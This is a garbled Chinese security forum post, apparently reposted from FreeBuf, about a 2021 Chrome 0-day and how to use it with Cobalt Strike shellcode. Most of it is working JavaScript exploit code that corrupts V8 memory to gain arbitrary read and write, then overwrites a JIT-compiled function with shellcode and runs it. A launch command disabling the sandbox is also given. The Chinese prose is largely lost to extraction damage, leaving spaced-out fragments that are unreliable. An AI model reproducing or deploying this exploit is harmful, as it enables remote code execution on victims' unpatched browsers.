[16767] 2021-05-10_Chrome-0day引发的一波蝴蝶效应

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-05-10_Chrome-0day引发的一波蝴蝶效应 C h r o m e - 0 d a y T o   F r e e B u f   2 0 2 1 - 0 5 - 1 0 0 x 0 0   C h r o m e 0 d a y C h r o m e - 0 d a y 0 x 0 1   1 . C h r o m e C h r o m e C h r o m e ( - n o - s a n d b o x ) 2 . 使 C h r o m e 使 使 s h e l l c o d e 0 x 0 2   1 . P o c s h e l l c o d e C S 线 P o c 使 线 P o c C M D :   C : U s e r s X X X A p p D a t a L o c a l G o o g l e C h r o m e A p p l i c a t i o n c h r o m e . e x e   - n o - s a n d b o x E N A B L E _ L O G   =   t r u e ; I N _ W O R K E R   =   t r u e ; / /   r u n   c a l c   a n d   h a n g   i n   a   l o o p v a r   s h e l l c o d e   =   [             ] ; / / s h e l l c o d e   x 8 6 f u n c t i o n   p r i n t ( d a t a ) { } v a r   n o t _ o p t i m i s e d _ o u t   =   0 ; v a r   t a r g e t _ f u n c t i o n   =   ( f u n c t i o n   ( v a l u e )   {         i f   ( v a l u e   = =   0 x d e c a f 0 )   {                 n o t _ o p t i m i s e d _ o u t   + =   1 ;         }         n o t _ o p t i m i s e d _ o u t   + =   1 ;         n o t _ o p t i m i s e d _ o u t   | =   0 x f f ;         n o t _ o p t i m i s e d _ o u t   * =   1 2 ;
} ) ; f o r   ( v a r   i   =   0 ;   i   <   0 x 1 0 0 0 0 ;   + + i )   {         t a r g e t _ f u n c t i o n ( i ) ; } v a r   g _ a r r a y ; v a r   t D e r i v e d N C o u n t   =   1 7   *   8 7 4 8 1   -   8 ; v a r   t D e r i v e d N D e p t h   =   1 9   *   1 9 ; f u n c t i o n   c b ( f l a g )   {         i f   ( f l a g   = =   t r u e )   {                 r e t u r n ;         }         g _ a r r a y   =   n e w   A r r a y ( 0 ) ;         g _ a r r a y [ 0 ]   =   0 x 1 d b a b e   *   2 ;         r e t u r n   ' c 0 1 d b 3 3 f ' ; } f u n c t i o n   g c ( )   {         f o r   ( v a r   i   =   0 ;   i   <   0 x 1 0 0 0 0 ;   + + i )   {                 n e w   S t r i n g ( ) ;         } } f u n c t i o n   o o b A c c e s s ( )   {         v a r   t h i s _   =   t h i s ;         t h i s . b u f f e r   =   n u l l ;         t h i s . b u f f e r _ v i e w   =   n u l l ;         t h i s . p a g e _ b u f f e r   =   n u l l ;         t h i s . p a g e _ v i e w   =   n u l l ;         t h i s . p r e v e n t _ o p t   =   [ ] ;         v a r   k S l o t O f f s e t   =   0 x 1 f ;         v a r   k B a c k i n g S t o r e O f f s e t   =   0 x f ;         c l a s s   L e a k A r r a y B u f f e r   e x t e n d s   A r r a y B u f f e r   {                 c o n s t r u c t o r ( )   {                         s u p e r ( 0 x 1 0 0 0 ) ;                         t h i s . s l o t   =   t h i s ;                 }         }         t h i s . p a g e _ b u f f e r   =   n e w   L e a k A r r a y B u f f e r ( ) ;         t h i s . p a g e _ v i e w   =   n e w   D a t a V i e w ( t h i s . p a g e _ b u f f e r ) ;         n e w   R e g E x p ( {   t o S t r i n g :   f u n c t i o n   ( )   {   r e t u r n   ' a '   }   } ) ;         c b ( t r u e ) ;
        c l a s s   D e r i v e d B a s e   e x t e n d s   R e g E x p   {                 c o n s t r u c t o r ( )   {                         / /   v a r   a r r a y   =   n u l l ;                         s u p e r (                                 / /   a t   t h i s   p o i n t ,   t h e   4 - b y t e   a l l o c a t i o n   f o r   t h e   J S R e g E x p   ` t h i s `   o b j e c t                                 / /   h a s   j u s t   h a p p e n e d .                                 {                                         t o S t r i n g :   c b                                 } ,   ' g '                                 / /   n o w   t h e   r u n t i m e   J S R e g E x p   c o n s t r u c t o r   i s   c a l l e d ,   c o r r u p t i n g   t h e                                 / /   J S A r r a y .                         ) ;                         / /   t h i s   a l l o c a t i o n   w i l l   n o w   d i r e c t l y   f o l l o w   t h e   F i x e d A r r a y   a l l o c a t i o n                         / /   m a d e   f o r   ` t h i s . d a t a ` ,   w h i c h   i s   w h e r e   ` a r r a y . e l e m e n t s `   p o i n t s   t o .                         t h i s _ . b u f f e r   =   n e w   A r r a y B u f f e r ( 0 x 8 0 ) ;                         g _ a r r a y [ 8 ]   =   t h i s _ . p a g e _ b u f f e r ;                 }         }         / /   t r y {         v a r   d e r i v e d _ n   =   e v a l ( ` ( f u n c t i o n   d e r i v e d _ n ( i )   {                 i f   ( i   = =   0 )   {                         r e t u r n   D e r i v e d B a s e ;                 }                 c l a s s   D e r i v e d N   e x t e n d s   d e r i v e d _ n ( i - 1 )   {                         c o n s t r u c t o r ( )   {                                 s u p e r ( ) ;                                 r e t u r n ;                                 $ { " t h i s . a = 0 ; " . r e p e a t ( t D e r i v e d N C o u n t ) }                         }                 }                 r e t u r n   D e r i v e d N ;         } ) ` ) ;         g c ( ) ;         n e w   ( d e r i v e d _ n ( t D e r i v e d N D e p t h ) ) ( ) ;         t h i s . b u f f e r _ v i e w   =   n e w   D a t a V i e w ( t h i s . b u f f e r ) ;         t h i s . l e a k P t r   =   f u n c t i o n   ( o b j )   {                 t h i s . p a g e _ b u f f e r . s l o t   =   o b j ;                 r e t u r n   t h i s . b u f f e r _ v i e w . g e t U i n t 3 2 ( k S l o t O f f s e t ,   t r u e ,   . . . t h i s . p r e v e n t _ o p t ) ;         }         t h i s . s e t P t r   =   f u n c t i o n   ( a d d r )   {                 t h i s . b u f f e r _ v i e w . s e t U i n t 3 2 ( k B a c k i n g S t o r e O f f s e t ,   a d d r ,   t r u e ,   . . . t h i s . p r e v e n t _ o p t ) ;         }
        }         t h i s . r e a d 3 2   =   f u n c t i o n   ( a d d r )   {                 t h i s . s e t P t r ( a d d r ) ;                 r e t u r n   t h i s . p a g e _ v i e w . g e t U i n t 3 2 ( 0 ,   t r u e ,   . . . t h i s . p r e v e n t _ o p t ) ;         }         t h i s . w r i t e 3 2   =   f u n c t i o n   ( a d d r ,   v a l u e )   {                 t h i s . s e t P t r ( a d d r ) ;                 t h i s . p a g e _ v i e w . s e t U i n t 3 2 ( 0 ,   v a l u e ,   t r u e ,   . . . t h i s . p r e v e n t _ o p t ) ;         }         t h i s . w r i t e 8   =   f u n c t i o n   ( a d d r ,   v a l u e )   {                 t h i s . s e t P t r ( a d d r ) ;                 t h i s . p a g e _ v i e w . s e t U i n t 8 ( 0 ,   v a l u e ,   . . . t h i s . p r e v e n t _ o p t ) ;         }         t h i s . s e t B y t e s   =   f u n c t i o n   ( a d d r ,   c o n t e n t )   {                 f o r   ( v a r   i   =   0 ;   i   <   c o n t e n t . l e n g t h ;   i + + )   {                         t h i s . w r i t e 8 ( a d d r   +   i ,   c o n t e n t [ i ] ) ;                 }         }         r e t u r n   t h i s ; } f u n c t i o n   t r i g g e r ( )   {         v a r   o o b   =   o o b A c c e s s ( ) ;         v a r   f u n c _ p t r   =   o o b . l e a k P t r ( t a r g e t _ f u n c t i o n ) ;         p r i n t ( ' [ * ]   t a r g e t _ f u n c t i o n   a t   0 x '   +   f u n c _ p t r . t o S t r i n g ( 1 6 ) ) ;         v a r   k C o d e I n s O f f s e t   =   0 x 1 b ;         v a r   c o d e _ a d d r   =   o o b . r e a d 3 2 ( f u n c _ p t r   +   k C o d e I n s O f f s e t ) ;         p r i n t ( ' [ * ]   c o d e _ a d d r   a t   0 x '   +   c o d e _ a d d r . t o S t r i n g ( 1 6 ) ) ;         o o b . s e t B y t e s ( c o d e _ a d d r ,   s h e l l c o d e ) ;         t a r g e t _ f u n c t i o n ( 0 ) ; } t r y {         p r i n t ( " s t a r t   r u n n i n g " ) ;         t r i g g e r ( ) ; } c a t c h ( e ) {         p r i n t ( e ) ; }
2 . C S 3 . C S C P a y l a o d
X 6 4 P C X 8 6 C s h e l l c o d e 4 . C S 线
0 x 0 3   1 . C h r o m e C h r o m e 2 . 3 . 2 . 1 . 1 4 3 0 x 0 4   C h r o m e 使 C h r o m e a p p s c a n ( 使 C h r o m e ) C S 线

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则